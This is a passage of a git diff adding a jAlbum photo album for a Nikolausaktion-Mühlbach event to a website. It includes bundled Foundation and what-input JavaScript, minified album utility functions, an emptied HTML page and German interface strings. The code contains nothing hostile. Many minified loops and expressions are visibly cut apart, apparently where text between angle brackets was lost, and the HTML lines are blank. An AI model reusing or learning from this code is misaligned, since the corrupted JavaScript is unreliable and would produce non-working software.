$elem.on('click.zf.trigger', '[data-close]', Triggers.Listeners.Basic.closeListener);\n}; // Elements with [data-toggle] will toggle a plugin that supports it when clicked.\n\n\nTriggers.Initializers.addToggleListener = function ($elem) {\n $elem.off('click.zf.trigger', Triggers.Listeners.Basic.toggleListener);\n $elem.on('click.zf.trigger', '[data-toggle]', Triggers.Listeners.Basic.toggleListener);\n}; // Elements with [data-closable] will respond to close.zf.trigger events.\n\n\nTriggers.Initializers.addCloseableListener = function ($elem) {\n $elem.off('close.zf.trigger', Triggers.Listeners.Basic.closeableListener);\n $elem.on('close.zf.trigger', '[data-closeable], [data-closable]', Triggers.Listeners.Basic.closeableListener);\n}; // Elements with [data-toggle-focus] will respond to coming in and out of focus\n\n\nTriggers.Initializers.addToggleFocusListener = function ($elem) {\n $elem.off('focus.zf.trigger blur.zf.trigger', Triggers.Listeners.Basic.toggleFocusListener);\n $elem.on('focus.zf.trigger blur.zf.trigger', '[data-toggle-focus]', Triggers.Listeners.Basic.toggleFocusListener);\n}; // More Global/complex listeners and triggers\n\n\nTriggers.Listeners.Global = {\n resizeListener: function resizeListener($nodes) {\n if (!MutationObserver) {\n //fallback for IE 9\n $nodes.each(function () {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).triggerHandler('resizeme.zf.trigger');\n });\n } //trigger all listening elements and signal a resize event\n\n\n $nodes.attr('data-events', \"resize\");\n },\n scrollListener: function scrollListener($nodes) {\n if (!MutationObserver) {\n //fallback for IE 9\n $nodes.each(function () {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).triggerHandler('scrollme.zf.trigger');\n });\n } //trigger all listening elements and signal a scroll event\n\n\n $nodes.attr('data-events', \"scroll\");\n },\n closeMeListener: function closeMeListener(e, pluginId) {\n var plugin = e.namespace.split('.')[0];\n var plugins = jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"[data-\".concat(plugin, \"]\")).not(\"[data-yeti-box=\\\"\".concat(pluginId, \"\\\"]\"));\n plugins.each(function () {\n var _this = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this);\n\n _this.triggerHandler('close.zf.trigger', [_this]);\n });\n } // Global, parses whole document.\n\n};\n\nTriggers.Initializers.addClosemeListener = function (pluginName) {\n var yetiBoxes = jquery__WEBPACK_IMPORTED_MODULE_0___default()('[data-yeti-box]'),\n plugNames = ['dropdown', 'tooltip', 'reveal'];\n\n if (pluginName) {\n if (typeof pluginName === 'string') {\n plugNames.push(pluginName);\n } else if (_typeof(pluginName) === 'object' && typeof pluginName[0] === 'string') {\n plugNames.concat(pluginName);\n } else {\n console.error('Plugin names must be strings');\n }\n }\n\n if (yetiBoxes.length) {\n var listeners = plugNames.map(function (name) {\n return \"closeme.zf.\".concat(name);\n }).join(' ');\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).off(listeners).on(listeners, Triggers.Listeners.Global.closeMeListener);\n }\n};\n\nfunction debounceGlobalListener(debounce, trigger, listener) {\n var timer,\n args = Array.prototype.slice.call(arguments, 3);\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).off(trigger).on(trigger, function (e) {\n if (timer) {\n clearTimeout(timer);\n }\n\n timer = setTimeout(function () {\n listener.apply(null, args);\n }, debounce || 10); //default time to emit scroll event\n });\n}\n\nTriggers.Initializers.addResizeListener = function (debounce) {\n var $nodes = jquery__WEBPACK_IMPORTED_MODULE_0___default()('[data-resize]');\n\n if ($nodes.length) {\n debounceGlobalListener(debounce, 'resize.zf.trigger', Triggers.Listeners.Global.resizeListener, $nodes);\n }\n};\n\nTriggers.Initializers.addScrollListener = function (debounce) {\n var $nodes = jquery__WEBPACK_IMPORTED_MODULE_0___default()('[data-scroll]');\n\n if ($nodes.length) {\n debounceGlobalListener(debounce, 'scroll.zf.trigger', Triggers.Listeners.Global.scrollListener, $nodes);\n }\n};\n\nTriggers.Initializers.addMutationEventsListener = function ($elem) {\n if (!MutationObserver) {\n return false;\n }\n\n var $nodes = $elem.find('[data-resize], [data-scroll], [data-mutate]'); //element callback\n\n var listeningElementsMutation = function listeningElementsMutation(mutationRecordsList) {\n var $target = jquery__WEBPACK_IMPORTED_MODULE_0___default()(mutationRecordsList[0].target); //trigger the event handler for the element depending on type\n\n switch (mutationRecordsList[0].type) {\n case \"attributes\":\n if ($target.attr(\"data-events\") === \"scroll\" && mutationRecordsList[0].attributeName === \"data-events\") {\n $target.triggerHandler('scrollme.zf.trigger', [$target, window.pageYOffset]);\n }\n\n if ($target.attr(\"data-events\") === \"resize\" && mutationRecordsList[0].attributeName === \"data-events\") {\n $target.triggerHandler('resizeme.zf.trigger', [$target]);\n }\n\n if (mutationRecordsList[0].attributeName === \"style\") {\n $target.closest(\"[data-mutate]\").attr(\"data-events\", \"mutate\");\n $target.closest(\"[data-mutate]\").triggerHandler('mutateme.zf.trigger', [$target.closest(\"[data-mutate]\")]);\n }\n\n break;\n\n case \"childList\":\n $target.closest(\"[data-mutate]\").attr(\"data-events\", \"mutate\");\n $target.closest(\"[data-mutate]\").triggerHandler('mutateme.zf.trigger', [$target.closest(\"[data-mutate]\")]);\n break;\n\n default:\n return false;\n //nothing\n }\n };\n\n if ($nodes.length) {\n //for each element that needs to listen for resizing, scrolling, or mutation add a single observer\n for (var i = 0; i <= $nodes.length - 1; i++) {\n var elementObserver = new MutationObserver(listeningElementsMutation);\n elementObserver.observe($nodes[i], {\n attributes: true,\n childList: true,\n characterData: false,\n subtree: true,\n attributeFilter: [\"data-events\", \"style\"]\n });\n }\n }\n};\n\nTriggers.Initializers.addSimpleListeners = function () {\n var $document = jquery__WEBPACK_IMPORTED_MODULE_0___default()(document);\n Triggers.Initializers.addOpenListener($document);\n Triggers.Initializers.addCloseListener($document);\n Triggers.Initializers.addToggleListener($document);\n Triggers.Initializers.addCloseableListener($document);\n Triggers.Initializers.addToggleFocusListener($document);\n};\n\nTriggers.Initializers.addGlobalListeners = function () {\n var $document = jquery__WEBPACK_IMPORTED_MODULE_0___default()(document);\n Triggers.Initializers.addMutationEventsListener($document);\n Triggers.Initializers.addResizeListener();\n Triggers.Initializers.addScrollListener();\n Triggers.Initializers.addClosemeListener();\n};\n\nTriggers.init = function ($, Foundation) {\n Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__[\"onLoad\"])($(window), function () {\n if ($.triggersInitialized !== true) {\n Triggers.Initializers.addSimpleListeners();\n Triggers.Initializers.addGlobalListeners();\n $.triggersInitialized = true;\n }\n });\n\n if (Foundation) {\n Foundation.Triggers = Triggers; // Legacy included to be backwards compatible for now.\n\n Foundation.IHearYou = Triggers.Initializers.addGlobalListeners;\n }\n};\n\n\n\n//# sourceURL=webpack:///./js/foundation.util.triggers.js?")},jquery:function(module,exports){eval("module.exports = __WEBPACK_EXTERNAL_MODULE_jquery__;\n\n//# sourceURL=webpack:///external_%7B%22root%22:%5B%22jQuery%22%5D,%22amd%22:%22jquery%22,%22commonjs%22:%22jquery%22,%22commonjs2%22:%22jquery%22%7D?")}})}); +/** + * what-input - A global utility for tracking the current input method (mouse, keyboard or touch). + * @version v5.2.1 + * @link https://github.com/ten1seven/what-input + * @license MIT + */ +!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("whatInput",[],t):"object"==typeof exports?exports.whatInput=t():e.whatInput=t()}(this,function(){return function(n){var o={};function i(e){if(o[e])return o[e].exports;var t=o[e]={exports:{},id:e,loaded:!1};return n[e].call(t.exports,t,t.exports,i),t.loaded=!0,t.exports}return i.m=n,i.c=o,i.p="",i(0)}([function(e,t){"use strict";e.exports=function(){if("undefined"==typeof document||"undefined"==typeof window)return{ask:function(){return"initial"},element:function(){return null},ignoreKeys:function(){},specificKeys:function(){},registerOnChange:function(){},unRegisterOnChange:function(){}};var t=document.documentElement,n=null,a="initial",u=a,o=Date.now();try{window.sessionStorage.getItem("what-input")&&(a=window.sessionStorage.getItem("what-input")),window.sessionStorage.getItem("what-intent")&&(u=window.sessionStorage.getItem("what-intent"))}catch(e){}var d=["button","input","select","textarea"],i=[],c=[16,17,18,91,93],w=[],p={keydown:"keyboard",keyup:"keyboard",mousedown:"mouse",mousemove:"mouse",MSPointerDown:"pointer",MSPointerMove:"pointer",pointerdown:"pointer",pointermove:"pointer",touchstart:"touch",touchend:"touch"},r=!1,s={x:null,y:null},f={2:"touch",3:"touch",4:"mouse"},l=!1;try{var e=Object.defineProperty({},"passive",{get:function(){l=!0}});window.addEventListener("test",null,e)}catch(e){}var h=function(){var e=!!l&&{passive:!0};window.PointerEvent?(window.addEventListener("pointerdown",m),window.addEventListener("pointermove",y)):window.MSPointerEvent?(window.addEventListener("MSPointerDown",m),window.addEventListener("MSPointerMove",y)):(window.addEventListener("mousedown",m),window.addEventListener("mousemove",y),"ontouchstart"in window&&(window.addEventListener("touchstart",m,e),window.addEventListener("touchend",m))),window.addEventListener(b(),y,e),window.addEventListener("keydown",m),window.addEventListener("keyup",m),window.addEventListener("focusin",g),window.addEventListener("focusout",E)},m=function(e){var t=e.which,n=p[e.type];"pointer"===n&&(n=L(e));var o=!w.length&&-1===c.indexOf(t),i=w.length&&-1!==w.indexOf(t),r="keyboard"===n&&t&&(o||i)||"mouse"===n||"touch"===n;if(x(n)&&(r=!1),r&&a!==n){a=n;try{window.sessionStorage.setItem("what-input",a)}catch(e){}v("input")}if(r&&u!==n){var s=document.activeElement;if(s&&s.nodeName&&-1===d.indexOf(s.nodeName.toLowerCase())||"button"===s.nodeName.toLowerCase()&&!k(s,"form")){u=n;try{window.sessionStorage.setItem("what-intent",u)}catch(e){}v("intent")}}},v=function(e){t.setAttribute("data-what"+e,"input"===e?a:u),S(e)},y=function(e){var t=p[e.type];if("pointer"===t&&(t=L(e)),M(e),!r&&!x(t)&&u!==t){u=t;try{window.sessionStorage.setItem("what-intent",u)}catch(e){}v("intent")}},g=function(e){e.target.nodeName?(n=e.target.nodeName.toLowerCase(),t.setAttribute("data-whatelement",n),e.target.classList&&e.target.classList.length&&t.setAttribute("data-whatclasses",e.target.classList.toString().replace(" ",","))):E()},E=function(){n=null,t.removeAttribute("data-whatelement"),t.removeAttribute("data-whatclasses")},L=function(e){return"number"==typeof e.pointerType?f[e.pointerType]:"pen"===e.pointerType?"touch":e.pointerType},x=function(e){var t=Date.now(),n="mouse"===e&&"touch"===a&&t-o<200;return o=t,n},b=function(){return"onwheel"in document.createElement("div")?"wheel":void 0!==document.onmousewheel?"mousewheel":"DOMMouseScroll"},S=function(e){for(var t=0,n=i.length;t=0&&n[t.charCodeAt(e)];)--e;for(++e;r6&&n.length-r<20?n.substring(0,r):n)+"..."}),String.prototype.hasOwnProperty("startsWith")||(String.prototype.startsWith=function(t){return 0===(this+"").indexOf(t)}),String.prototype.hasOwnProperty("endsWith")||(String.prototype.endsWith=function(t){return(this+"").substring(this.length-t.length)===t}),String.prototype.capitalize=function(){return this.charAt(0).toUpperCase()+this.slice(1)},String.prototype.unCamelCase=function(){return this.replace(/([a-z])([A-Z])/g,"$1-$2").toLowerCase()},String.prototype.getExt=function(){var t=this+"",e=t.lastIndexOf(".");return e<=0||e>=t.length-1?"":t.substring(e+1)},String.prototype.stripExt=function(){var t=this+"",e=t.lastIndexOf(".");return e<=0||e>t.length-1?t:t.substring(0,e)},String.prototype.hasExt=function(t){var e=this+"",n=e.lastIndexOf(".");return n>=0&&(e=e.substring(n+1).toLowerCase(),(t+",").indexOf(e+",")>=0)},String.prototype.replaceExt=function(t){var e=this+"",n=e.lastIndexOf(".");return n<=0?e:e.substring(0,n+1)+t},String.prototype.fixExtension=function(){return(this+"").replace(/.gif$/gi,".png").replace(/.tif+$/gi,".jpg")},String.prototype.getDir=function(){var t=(this+"").split("#")[0];return t.substring(0,t.lastIndexOf("/")+1)},String.prototype.getFile=function(){var t=(this+"").split("#")[0];return t.substring(t.lastIndexOf("/")+1)},String.prototype.getRelpath=function(t){var e=this+"",n=e.lastIndexOf("#");for(-1===n?n=e.length-1:n--;n>=0&&("/"!==e[n]||0!=t--);n--);return e.substring(n+1)},String.prototype.fixUrl=function(){for(var t,e,n=this+"";(t=n.indexOf("../"))>0;){if(1===t||-1===(e=n.lastIndexOf("/",t-2)))return n.substring(t+3);n=n.substring(0,e)+n.substring(t+2)}return n},String.prototype.fullUrl=function(){var t=this+"";return t.match(/^(http|ftp|file)/)||(t=window.location.href.getDir()+t),t.fixUrl()},String.prototype.cleanupHTML=function(){for(var t=[[/<(b|h)r\/?>/gi,"\n"],[/\&/g,"&"],[/\ /g," "],[/\</g,"<"],[/\>/g,">"],[/\&(m|n)dash;/g,"-"],[/\'/g,"'"],[/\"/g,'"']],e=this+"",n=t.length-1;n>=0;n--)e=e.replace(t[n][0],t[n][1]);return e.replace},String.prototype.stripHTML=function(t){var e=this+"";return t&&(e=e.cleanupHTML()),e.replace(/<\/?[^>]+>/g," ")},String.prototype.stripQuote=function(){return(this+"").replace(/\"/gi,""")},String.prototype.appendSep=function(t,e){return(this.length?this+(e||" · "):"")+t},String.prototype.rgb2hex=function(){var t=this+"";if("#"===t.charAt(0)||"transparent"===t)return t;var e,n=t.match(/\d+/g),r="";if(n){for(var o=0;o0&&n.push.apply(n,t.substring(0,e).split(" ")),t=t.substring(e+1),(e=t.indexOf('"'))<0){n.push(t);break}n.push(t.substring(0,e)),t=t.substring(e+1)}while(t.length);return n},String.prototype.objectify=function(){if(!this||!this.length)return this;var t=this+"";"?"!==t.charAt(0)&&"#"!==t.charAt(0)||(t=t.substring(1));for(var e,n={},r=t.split("&"),o=0,i=r.length;o1&&("img"===e[0]?n.img=e[1]:n[e[0]]=decodeURIComponent(e[1]));return n},String.prototype.testIn=function(t){return"string"!=typeof t&&(t+=""),new RegExp(this,"i").test(t)},String.prototype.testExactMatch=function(t){if(t.constructor!==Array)return this==t+"";for(var e=0,n=t.length;en?n:e},Math.getRange=function(t,e){if(e.constructor!==Array)return t>=e?1:0;if(1===e.length)return t>=e[0]?1:0;if(t=e[n-1]&&t';DIR_PATH=function(){var t=window.location.pathname,e=document.getElementsByTagName("html")[0].getAttribute("data-level")||0;do{t=t.substring(0,t.lastIndexOf("/"))}while(e--);return t+"/"}(),isEmpty=function(t){return null==t||0===Object.getOwnPropertyNames(t).length},paramize=function(t){if("number"==typeof t)return""+t;if("string"==typeof t)return t;if("object"==typeof t){for(var e="",n=Object.getOwnPropertyNames(t),r=n.length,o=0;o=730?(e=translate("yearsAgo"),n=Math.round(t/365)):t>=60?(e=translate("monthsAgo"),n=Math.round(t/30.5)):(e=translate("daysAgo"),n=t),e.replace("{0}",n)},getTimespan=function(t){if(!t)return translate("inThePast24Hours");if(t<2)return translate("inThePast48Hours");var e,n;return t>=730?(e=translate("inThePastNYears"),n=Math.round(t/365)):t>=60?(e=translate("inThePastNMonths"),n=Math.round(t/30.42)):(e=translate("inThePastNDays"),n=t),e.replace("{0}",n)},getFractionValue=function(t){var e=t.match(/^([\d\.]+)\/([\d\.]+)/);return e&&e.length>1&&0!==e[2]?e[1]/e[2]:t},getExposure=function(t){return t=t.includes("/")?getFractionValue(t):parseFloat(t)},getRelativePath=function(t,e){if(typeof e===UNDEF||!e.length||typeof t===UNDEF||!t.length)return"";if(e.endsWith("/")||(e+="/"),"/"===t)return e;if(t.endsWith("/")||(t+="/"),t===e)return"";var n="../../../../../../../../../../../../../../../../../../../../",r=t.split("/");if("/"===e)return n.substring(0,3*r.length);for(var o=e.split("/");r.length&&o.length&&r[0]===o[0];)r.shift(),o.shift();return n.substring(0,3*(r.length-1))+o.join("/")},encodeAsJava=function(t){var e="";for(t=/^(https?:|file:)?\/\//i.test(t)?encodeURI(t):encodeURIComponent(t),i=0;i1?r:t||"index.html")}},setParam=function(t,e,n){if(HISTORY){var r="#"+paramize(e);r!==window.location.hash&&history.pushState(e,void 0===n?"":n,r.length>1?r:t||"index.html")}},removeParam=function(t,e,n){if(HISTORY){var r,o=window.location.hash;o&&(void 0===e?(o="",history.pushState("","",t||"index.html")):("#"===o.charAt(0)&&(o=o.substring(1)),(r=o.objectify()).hasOwnProperty(e)&&(delete r[e],o="#"+paramize(r)),history.pushState(r,void 0===n?"":n,o.length>1?o:t||"index.html")))}},removeSearch=function(t){HISTORY&&history.replaceState(history.state,void 0===t?"":t,window.location.href.replace(window.location.search,""))},readParam=function(){if(HISTORY){if(history.state)return history.state.hasOwnProperty("img")&&(history.state.img=encodeURIComponent(history.state.img)),history.state;var t=window.location.hash;return"#"===t.charAt(0)&&(t=t.substring(1)),t.objectify()}return null},pushAll=function(t,e){if(t instanceof Array)if(e instanceof Array)for(var n=0,r=e.length;n]*\swidth="([\d\.]+)(r?em|px)"/i)||t.match(/<\w+\s[^>]*\sstyle=".*width:\s?([\d\.]+)(r?em|px)"/i),n=t.match(/<\w+\s[^>]*\sheight="([\d\.]+)(r?em|px)"/i)||t.match(/<\w+\s[^>]*\sstyle=".*height:\s?([\d\.]+)(r?em|px)"/i),e?(r[0]=parseFloat(e[1]),"px"!==e[2]&&(r[0]*=16),n?(r[1]=parseFloat(n[1]),"px"!==n[2]&&(r[1]*=16)):r[1]=.75*r[0],r):null):null},currencyToHtml={USD:"US$",EUR:"€",GBP:"GB£",JPY:"¥",HUF:"Ft",CAD:"CAN$",AUD:"AU$",RUB:"₽"},codeToCurrency=function(t){return currencyToHtml.hasOwnProperty(t)?currencyToHtml[t]:t},currencyToHtmlShort={USD:"$",EUR:"€",GBP:"£",JPY:"¥",HUF:"Ft",CAD:"$",AUD:"$",RUB:"₽"},codeToShortCurrency=function(t){return currencyToHtmlShort.hasOwnProperty(t)?currencyToHtmlShort[t]:t},printImage=function(t,e,n){if(t){var r=window.open("about:blank","print","location=no,status=no,titlebar=no");r.document.open(),r.document.write('\n\n\n\n'+(e||"Print")+'\n + + + + + + + + + +
    + + +
    + + + + diff --git a/public/fotoalbum/Nikolausaktion-Mühlbach/album/lifeboat.zip b/public/fotoalbum/Nikolausaktion-Mühlbach/album/lifeboat.zip new file mode 100644 index 00000000..e2d099de Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Mühlbach/album/lifeboat.zip differ diff --git a/public/fotoalbum/Nikolausaktion-Mühlbach/album/res/all.min.js b/public/fotoalbum/Nikolausaktion-Mühlbach/album/res/all.min.js new file mode 100644 index 00000000..40ff14e1 --- /dev/null +++ b/public/fotoalbum/Nikolausaktion-Mühlbach/album/res/all.min.js @@ -0,0 +1,27 @@ +/* all.min.js - Tiger skin scripts */ +var VER='2.13.6',DEBUG=false; +;Texts = {and:'und',from:'Von {0}',databaseMissingOrBroken:'The current folder´s database file is missing or broken!',checkProcessSubdirectories:'Check if you´ve allowed jAlbum to process the subdirectories and "Make album" again!',uploadAlbumAgain:'If you´re the owner try to "Upload" the album again!',localAccessBlocked:'Local access to the album´s database file is blocked by your browser. This does not affect the uploaded album! Use jAlbum´s Preview (F12) for testing!',closeWindow:'Fenster schließen',okButton:'OK',warning:'Warnung',error:'Fehler',today:'heute',yesterday:'gestern',daysAgo:'Vor {0} Tagen',monthsAgo:'Vor {0} Monaten',yearsAgo:'Vor {0} Jahren',addCart:'In den Warenkorb',shoppingCart:'Warenkorb',edit:'Bearbeiten',continueShopping:'Weiter einkaufen',added:'Hinzugefügt...',buyNow:'Jetzt kaufen',processedByPaypal:'Die Bezahlung wird durch PayPal abgewickelt',viewCart:'Warenkorb prüfen',emptyCart:'Warenkorb leeren',removeAllItems:'Alle Artikel entfernen?',yes:'Ja',no:'Nein',noMoreItems:'Bei PayPal können Sie nicht mehr als 99 Artikel gleichzeitig kaufen. Es wurden nur die ersten 99 hinzugefügt.',item:'Artikel',items:'Artikel',success:'Erfolgreich',couponCode:'Gutscheincode',redeem:'Einlösen',noSuch:'Dieser Gutschein existiert nicht!',expired:'Der Gutscheincode {0} ist abgelaufen!',lowerThanCurrent:'Dieser Coupon bietet weniger Rabatt als der aktuelle {0}.',reclaimed:'Dieser Gutschein wurde bereits benutzt!',select:'Auswählen',all:'Alle',none:'Keine',selectedItems:'Markierte Artikel',shoppingcartInfo:'Dieser Artikel wurde dem Warenkorb hinzugefügt. Nach Schließen des Leuchtkastens können Sie ihn durch Drücken des "Jetzt kaufen"-Buttons erwerben.',subtotal:'Zwischensumme',total:'Summe',shippingAndHandling:'Versand',reduction:'Ersparnis',discount:'Rabatt',tax:'Steuer',remove:'Entfernen',couponAccepted:'Gutschein akzeptiert, rabattiere {0}.',couponRemoved:'Der Gutschein wurde entfernt.',amountLowerThan:'Die Summe ist niedriger als der Rabatt {0}.',addMoreItems:'Fügen Sie {0} weitere Artikel hinzu um den Rabatt zu erhalten!',validAbove:'Gültig nur sofern Warenkorbwert größer als {0}.',higherThanTotal:'Der Coupon hat einen höheren Rabatt ({0}) als die Gesamtsumme.',minAmountWarning:'Dieser Gutschein kann nur benutzt werden, wenn die Summe größer ist als {0}.',minQuantityWarning:'Dieser Gutschein kann nur benutzt werden, wenn die Anzahl größer ist als {0}.',maxNItems:'Maximal {0} Artikel erlaubt!',continueBrowsing:'Weiter surfen',feedback:'Feedback',sendFeedback:'Feedback versenden',addComment:'Kommentar hinzufügen',viewFeedbackCart:'Feedback Fenster',feedbackOnAlbum:'Feedback zum Album',dismissFeedback:'Kommentar löschen',removeAllItems:'Alle Artikel entfernen?',to:'An',subject:'Betreff',warning:'Warnung',removeAll:'Alle entfernen',copiedToClipboard:'In die Zwischenablage kopiert!',messageSent:'Nachricht versendet',errorSending:'Fehler beim E-Mail Versand!',emailMissing:'E-Mail Adresse fehlt oder ist im falschen Format!',tooLong:'Text ist zu lang oder zu viele Artikel!',copyInstructions:'Der Text wurde in Ihre Zwischenablage kopiert. Wechseln Sie nun zur E-Mail-Anwendung (oder zu Webmail) und fügen Sie sie ein. Springen Sie zu "An" und "Betreff" in die entsprechenden Felder!',feedbackButtonExplanation:'Versuchen Sie "Senden", wenn Sie eine E-Mail-Anwendung installiert haben, verwenden Sie "Kopieren" für Webmail!',share:'Teilen',shareOn:'Teilen auf',checkThisOut:'Check this out',localWarning:'Lokale Alben können nicht geteilt werden. Bitte das Album erst hochladen!',foundNTimes:'{0} Bild(er)',notFound:'Nicht gefunden',search:'Suche',newImages:'Neue Bilder',results:'Results',reset:'Reset',label:'Label',return:'Zurück',select:'Auswählen',sortBy:'Sort by',sortedBy:'Sorted by',ascending:'ascending',descending:'descending',multipleSelectHint:'Use SHIFT to select range, CTRL for multiple entries',newItem:'NEU',today:'heute',inThePast24Hours:'In den letzten 24 Stunden',inThePast48Hours:'In den letzten 48 Stunden',inTheLastDay:'Gestern',inThePastNDays:'In den letzten {0} Tagen',inThePastNMonths:'In den letzten {0} Monaten',inThePastNYears:'In den letzten {0} Jahren',sinceMyLastVisit:'Seit dem letzten Besuch',imagesAdded:'Neu zugefügt',imagesModified:'Geändert',imagesTaken:'Aufgenommen',startSlideshow:'Diashow starten',startSlideshowShort:'Starten',atFirstPage:'Erste Seite',atLastPage:'Letzte Seite',atLastPageQuestion:'Wohin nun weiter?',startOver:'Erneut starten',backToHome:'Eine Ebene höher',stop:'Stopp',pause:'Pause',pauseShort:'Pause',upOneLevel:'Eine Ebene nach oben',upOneLevelShort:'Abbrechen',backToIndex:'Zurück zur Miniaturansichtsseite / eine Ebene höher Esc',previousPicture:'Vorheriges Bild',previousPictureShort:'Vorheriges',nextPicture:'Nächstes Bild',nextPictureShort:'Nächstes',previousFolder:'Vorheriger Ordner',nextFolder:'Nächster Ordner',oneToOneSize:'Normalgröße',oneToOneSizeShort:'1:1',fullscreen:'Full screen',exitFullscreen:'Exit full screen',fullscreenShort:'Fullscr',exitFullscreenShort:'Normal',fitToScreen:'Auf Fenstergröße anpassen',fitToScreenShort:'anpassen',showInfo:'Zeige Beschriftung / Info',showInfoShort:'Info anzeigen',hideInfo:'Verberge Beschriftung / Info',hideInfoShort:'Info ausblenden',showThumbs:'Miniaturen anzeigen',showThumbsShort:'Miniaturen',hideThumbs:'Miniaturen verbergen',hideThumbsShort:'Hide thumbs',clickToOpen:'Anklicken um das Dokument mit dem zugeordneten Programm anzuzeigen',rating:'Rating',metaBtn:'Bilddaten',metaLabel:'Bilddaten (Exif/Iptc) anzeigen',mapBtn:'Karte',mapLabel:'Aufnahmeort auf der Karte anzeigen',shopBtn:'Kaufen',shopLabel:'Zeige Optionen dieses Bild zu kaufen',viewCartLabel:'Zeige den Warenkorb',feedbackLabel:'Zeige Feedback Fenster',shareBtn:'Teilen',shareLabel:'Dieses Bild in Sozialen Netzwerken teilen',download:'Herunterladen',print:'Drucken',printLabel:'Dieses Bild auf Ihrem Drucker drucken',fotomotoBtn:'Kaufen / Teilen',fotomotoLabel:'Abzüge oder Bilddateien kaufen, Bilder teilen oder kostenlos eCards versenden',mostphotosBtn:'Kaufen',mostphotosLabel:'Dieses Bild von mostphotos.com herunterladen!',regionsBtn:'Menschen',regionsLabel:'Zeige markierte Menschen',sendFeedback:'Feedback versenden',message:'Nachricht',subject:'Betreff',comment:'Kommentar',yourEmail:'Ihre Mail-Adresse',send:'Senden',messageSent:'Nachricht versendet',errorSending:'Fehler beim E-Mail Versand!',tooLong:'Text ist zu lang oder zu viele Artikel!',emailMissing:'E-Mail Adresse fehlt oder ist im falschen Format!',noItemsSelected:'Nichts ausgewählt',selectItemsHint:'Wählen Sie zunächst die gewünschten Artikel aus!',scrollTopTooltip:'Nach oben',more:'mehr',less:'weniger',locationWarning:'Funktioniert nur nach dem Upload',cookiePolicyText:'Dieses Album nutzt Cookies um Nutzereinstellungen zu speichern. Durch die Nutzung stimmen Sie der Speicherung unserer Cookies zu.',cookiePolicyAgree:'Verstanden',cookiePolicyLearnMore:'Mehr Informationen',gdprComplianceText:'Diese Website verwendet die folgenden externen Dienste, die Ihre Besuche anonym verfolgen können. Durch Deaktivieren der Nachverfolgung wird ihre Funktionalität beendet.',allowAll:'Alle erlauben',denyAll:'Alle verbieten',allowSelected:'Erlaube ausgewählte'}; +!function(n,e){if("object"==typeof exports&&"object"==typeof module)module.exports=e(require("jquery"));else if("function"==typeof define&&define.amd)define(["jquery"],e);else{var t="object"==typeof exports?e(require("jquery")):e(n.jQuery);for(var o in t)("object"==typeof exports?exports:n)[o]=t[o]}}(window,function(__WEBPACK_EXTERNAL_MODULE_jquery__){return function(t){var o={};function i(n){if(o[n])return o[n].exports;var e=o[n]={i:n,l:!1,exports:{}};return t[n].call(e.exports,e,e.exports,i),e.l=!0,e.exports}return i.m=t,i.c=o,i.d=function(n,e,t){i.o(n,e)||Object.defineProperty(n,e,{enumerable:!0,get:t})},i.r=function(n){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(n,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(n,"__esModule",{value:!0})},i.t=function(e,n){if(1&n&&(e=i(e)),8&n)return e;if(4&n&&"object"==typeof e&&e&&e.__esModule)return e;var t=Object.create(null);if(i.r(t),Object.defineProperty(t,"default",{enumerable:!0,value:e}),2&n&&"string"!=typeof e)for(var o in e)i.d(t,o,function(n){return e[n]}.bind(null,o));return t},i.n=function(n){var e=n&&n.__esModule?function(){return n.default}:function(){return n};return i.d(e,"a",e),e},i.o=function(n,e){return Object.prototype.hasOwnProperty.call(n,e)},i.p="",i(i.s="../../../../../../tmp/tmp.6.5.1.76b4e74bdc72140cd4249f18753d2411/js/vendor/foundation.js")}({"../../../../../../tmp/tmp.6.5.1.76b4e74bdc72140cd4249f18753d2411/js/vendor/foundation.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval('__webpack_require__.r(__webpack_exports__);\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ "jquery");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./js/foundation.core */ "./js/foundation.core.js");\n/* harmony import */ var _home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./js/foundation.util.mediaQuery */ "./js/foundation.util.mediaQuery.js");\n/* harmony import */ var _home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_util_triggers__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./js/foundation.util.triggers */ "./js/foundation.util.triggers.js");\n/* harmony import */ var _home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_dropdownMenu__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./js/foundation.dropdownMenu */ "./js/foundation.dropdownMenu.js");\n/* harmony import */ var _home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_responsiveMenu__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! ./js/foundation.responsiveMenu */ "./js/foundation.responsiveMenu.js");\n/* harmony import */ var _home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_reveal__WEBPACK_IMPORTED_MODULE_6__ = __webpack_require__(/*! ./js/foundation.reveal */ "./js/foundation.reveal.js");\n/* harmony import */ var _home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_responsiveToggle__WEBPACK_IMPORTED_MODULE_7__ = __webpack_require__(/*! ./js/foundation.responsiveToggle */ "./js/foundation.responsiveToggle.js");\n/* harmony import */ var _home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_toggler__WEBPACK_IMPORTED_MODULE_8__ = __webpack_require__(/*! ./js/foundation.toggler 